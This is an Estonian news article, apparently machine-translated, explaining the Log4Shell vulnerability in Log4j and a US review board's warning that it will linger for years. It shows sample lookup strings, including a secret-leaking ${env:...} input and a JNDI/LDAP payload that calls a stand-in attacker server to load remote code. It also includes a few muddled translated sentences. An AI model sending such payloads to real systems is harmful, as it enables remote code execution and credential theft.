8 kuud hiljem ütleb USA, et Log4Shell on olemas "kümme või kauem"

Meeles pidama Log4Shell?

See oli ohtlik viga populaarses avatud lähtekoodiga Java programmeerimise tööriistakomplektis log4j, lühend sõnadest “Logging for Java”, mille on välja andnud Apache Software Foundation liberaalse ja tasuta lähtekoodilitsentsi alusel.

Kui olete kunagi kirjutanud mis tahes tarkvara, alates lihtsaimast BAT-failist Windowsi sülearvutis kuni kõige räigeima megarakenduseni, mis töötab tervel hulgal serveritel, olete kasutanud logimiskäske.

Põhiväljundist nagu echo "Starting calculations (this may take a while)" ekraanile prinditud kuni ametlike sõnumiteni, mis on salvestatud üks kord kirjutatavasse andmebaasi auditi või vastavuse huvides, on logimine enamiku programmide oluline osa, eriti kui midagi läheb katki ja vajate selget arvestust selle kohta, kui kaugele te varem jõudsite. probleem tabas.

Log4Shell haavatavus (Tegelikult selgus, et sellega seotud probleeme oli mitu, kuid käsitleme neid kõiki nii, nagu oleksid need siin lihtsuse mõttes üks suur probleem) osutus pooleldi veaks, pooleldi funktsiooniks.

Teisisõnu, Log4j tegi seda, mida juhendis öeldi, erinevalt sellisest puhvri ületäitumisest, kus rikkuv programm üritab valesti segada andmetega, mille lubas, et jätab rahule…

…aga kui te pole juhendit väga hoolikalt lugenud ega võtnud ise täiendavaid ettevaatusabinõusid, lisades Log4j peale hoolika sisendi kontrollimise kihi, võib teie tarkvara lahti tulla.

Tõesti, halvasti, täiesti lahti.

Interpolatsiooni peetakse kahjulikuks

Lihtsamalt öeldes ei salvestanud Log4j alati logisõnumeid täpselt nii, nagu te need esitasite.

Selle asemel oli sellel „funktsioon”, mida žargoonis tuntakse erinevalt ja segadust tekitavalt interpoleerimine, käsu asendamine or automaatne ümberkirjutamine, et saaksite logimisutiliidi enda sees käivitada tekstiga manipuleerimise funktsioonid, ilma et peaksite selleks ise spetsiaalset koodi kirjutama.

Näiteks allolevas veerus SISEND olev tekst logitakse sõna otseses mõttes täpselt nii, nagu te seda näete, mis on ilmselt see, mida logimise tööriistakomplektilt eeldate, eriti kui soovite säilitada täpset arvestust kasutajate esitatud sisendandmete kohta. regulatiivsetel põhjustel:

SISEND TULEMUS
----------------------- -------------------------
KASUTAJANIMI=part -> KASUTAJANIMI=part
Helistaja ID:555-555-5555 -> Helistaja ID:555-555-5555
Praegune versioon = 17.0.1 -> Praegune versioon = 17.0.1

Aga kui esitasite maagilisse märgijadasse mähitud teksti ${...}, teeb logija sellega mõnikord nutikaid asju pärast teksti kättesaamist, kuid enne logifaili kirjutamist, näiteks järgmiselt:

SISEND TULEMUS
---------------------------------- ---------------- ---------------------------
CURRENT=${java:version}/${java:os} -> CURRENT=Java versioon 17.0.1/Windows 10 10.0
Serveri konto on: ${env:USER} -> Serveri konto on: root
${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Selge on see, et kui aktsepteerite logitud teksti usaldusväärsest allikast, kus on mõistlik lubada logijal logijat juhtida, käsitades tal asendada lihttekst sisemiste andmetega, on selline teksti ümberkirjutamine kasulik.

Kuid kui teie eesmärk on jälgida kaugkasutaja esitatud andmeid, võib-olla regulatiivsete andmete säilitamise eesmärgil, on selline automaatne ümberkirjutamine kahekordselt ohtlik:

• Vaidluse korral teil pole usaldusväärset arvestust selle kohta, mida kasutaja tegelikult esitas, kuna seda võidi sisendi ja väljundi vahel muudetud.
• Pahatahtlik kasutaja võib saata salaja konstrueeritud sisendeid et provotseerida oma serverit tegema midagi, mida ta ei peaks tegema.

Kui logite kasutaja sisestusi, näiteks nende brauseri identifitseerimisstringi, öelge (žargoonis tuntud kui User-Agent), või nende kasutajanime või telefoninumbri, ei soovi te anda kasutajale võimalust petta teid privaatseid andmeid (nt ainult mälu jaoks mõeldud paroolistringi, nagu ülaltoodud näites AWS_ACCESS_KEY_ID) püsivasse logifaili kirjutama.

Eriti kui olete oma audiitoritele või reguleerivale asutusele enesekindlalt öelnud, et te ei kirjuta kunagi püsivasse salvestusruumi lihtteksti paroole. (Sina ei tohiks seda teha, isegi kui te pole seda regulaatorile ametlikult öelnud!)

Hullem tuleb

Juhtumi Log4Shell is-it-a-bug-or-is-it-a-feature puhul olid asjad aga palju hullemad kui eespool näidatud juba riskantsed näited.

Näiteks kasutaja, kes esitas tahtlikult andmeid nagu allpool näidatud, võib käivitada tõeliselt ohtliku sündmuste jada:

SISEND TULEMUS
------------------------------------------------ -- --------------------------------------
${jndi:ldap://dodgy.server.example:8888/BadThing} -> Laadige alla ja käivitage Java kaugprogramm!?

Ülalolevas interpolatsioonistringis on ${...} tähemärgijada, mis sisaldab lühendeid jndi ja ldap käskis Log4j-l seda teha:

• Kasutage Java nimede andmise ja kataloogi liidest (JNDI) asukoha leidmiseks dodgy.server.example online.
• Ühendage selle serveriga LDAP-i kaudu, kasutades TCP porti 8888.
• Küsi andmeid salvestatud LDAP-objekti BadThing.

Teisisõnu võivad ründajad esitada spetsiaalselt loodud sisendi, mis juhendaks teie serverit "koju helistama". nende kontrolli all olevasse serverisse, ilma jätmiseta.

Kuidas saab see "funktsioon" olla?

Võib tekkida küsimus, kuidas selline „funktsioon” üldse Log4j koodi sattus.

Kuid selline teksti ümberkirjutamine võib olla kasulik seni, kuni logite andmeid usaldusväärsest allikast.

Näiteks võite logida numbrilise kasutaja ID, kuid paluda logijal kasutada ka LDAP-i ( kerge kataloogipääsuprotokoll, mida kasutatakse laialdaselt tööstuses, sealhulgas Microsofti Active Directory süsteemis), et hankida ja salvestada selle kontonumbriga sel ajal seotud kasutajanimi.

See parandaks nii logifaili kirje loetavust kui ka ajaloolist väärtust.

Kuid LDAP-server, mille Log4j ülaltoodud näites välja kutsus (mille valis kaugkasutaja, ärge unustage), ei tea tõenäoliselt tõde, rääkimata selle rääkimisest, ja pahatahtlik kasutaja võib seetõttu kasutada seda täidistrikki. teie logid võltsitud ja isegi juriidiliselt kahtlaste andmetega.

Veelgi hullem, LDAP-server võib tagastada eelkompileeritud Java koodi logitavate andmete genereerimiseksja teie server hakkaks seda programmi kohusetundlikult käivitama – tundmatu programm, mille tarnib ebausaldusväärne server ja mille on valinud ebausaldusväärne kasutaja.

Kui mõni server, mis tahes teie võrgus, logis sisse väljastpoolt tulnud ebausaldusväärse sisendi ja kasutas selleks Log4j...

…siis saab seda sisendit kasutada otsese ja vahetu viisina, kuidas petta oma serverit kellegi teise koodi käivitama.

Seda nimetatakse PKT žargoonis, lühend koodi kaugkäivitamine, ja RCE vigu otsivad küberkurjategijad tavaliselt kõige innukalt, sest tavaliselt saab neid ära kasutada pahavara automaatseks siirdamiseks.

Kahjuks tähendas selle vea olemus, et oht ei piirdunud ainult Interneti-ühendusega serveritega, mistõttu kasutati C-keeles, mitte Java-s (nt IIS, Apache https, nginx) kirjutatud veebiservereid ja seetõttu ei kasutanud nad ise viga. Log4j kood, ei vabastanud teid riskist.

Teoreetiliselt saavad kõik Java taustarakendused, mis said ja logisid andmeid mujalt teie võrgust ning kasutasid Log4j teeki…

…välised ründajad võivad nendeni jõuda ja neid ära kasutada.

Parandus oli üsna lihtne:

• Otsige vanu versioone Log4j kõikjal ja kõikjal teie võrgus. Java moodulitel on tavaliselt sellised nimed nagu log4j-api-2.14.0.jar ja log4j-core-2.14.0.jar, Kus jar on lühike Java arhiiv, spetsiaalselt struktureeritud ZIP-fail. Otsitava eesliite, lõpliku laiendi ja failinimesse manustatud versiooninumbriga on Java teegi koodi "vale" versiooniga rikkuvate failide kiire leidmine tegelikult üsna lihtne.
• Asendage lollakad versioonid uuemate, lapitud.
• Kui te ei saanud Log4J versiooni muuta, saate riski vähendada või eemaldada, eemaldades vigasest Log4j paketist ühe koodimooduli (Java kood, mis käsitles JNDI otsinguid, nagu eespool kirjeldatud) ja pakkides omaenda vähendatud JAR-faili ümber, kus viga on maha surutud.

Saaga jätkub

Kahjuks hiljutine, üksikasjalik aruanne USA eelmisel nädalal avaldatud Log4Shelli saaga kohta Küberturvalisuse ülevaatusnõukogu (CSRB), mis on sisejulgeolekuministeeriumi osa, sisaldab murettekitavat soovitust (meie rõhuasetus allpool), et:

[L]log4j sündmus pole veel lõppenud. [CSRB] hinnangul on Log4j "endeemiline haavatavus" ja et Log4j haavatavad eksemplarid jäävad süsteemidesse paljudeks aastateks. võib-olla kümme aastat või kauem. Märkimisväärne risk jääb alles.

Mida teha?

42-leheküljeline (ainuüksi kokkuvõte on peaaegu kolm lehekülge) juhatuse aruanne on pikk dokument ja selle osad on rasked.

Kuid soovitame teil see läbi lugeda, sest see on põnev lugu sellest, kuidas isegi küberjulgeolekuprobleeme, mis peaksid olema kiiresti ja lihtsalt lahendatavad, võidakse ignoreerida või hilisemaks lükata või sama hästi kui keelduda kui "kellegi teise probleeme". probleem” parandamiseks.

USA avaliku teenistuse märkimisväärsed soovitused, mida me kogu südamest toetame, on järgmised:

• Arendada suutlikkust hoida täpset infotehnoloogia (IT) varade ja rakenduste loendit.
• [Seadista a] dokumenteeritud haavatavusele reageerimise programm.
• [Seadistage] dokumenteeritud haavatavuse avalikustamise ja käsitlemise protsess.

Küberturvalisuse osas ärge küsige, mida kõik teised teie heaks teha saavad…

…aga mõelge sellele, mida saate enda heaks teha, sest kõik teie tehtud täiustused teevad seda peaaegu kindlasti kasu kõigile teistele samuti.

---

[Varjatud sisu]

---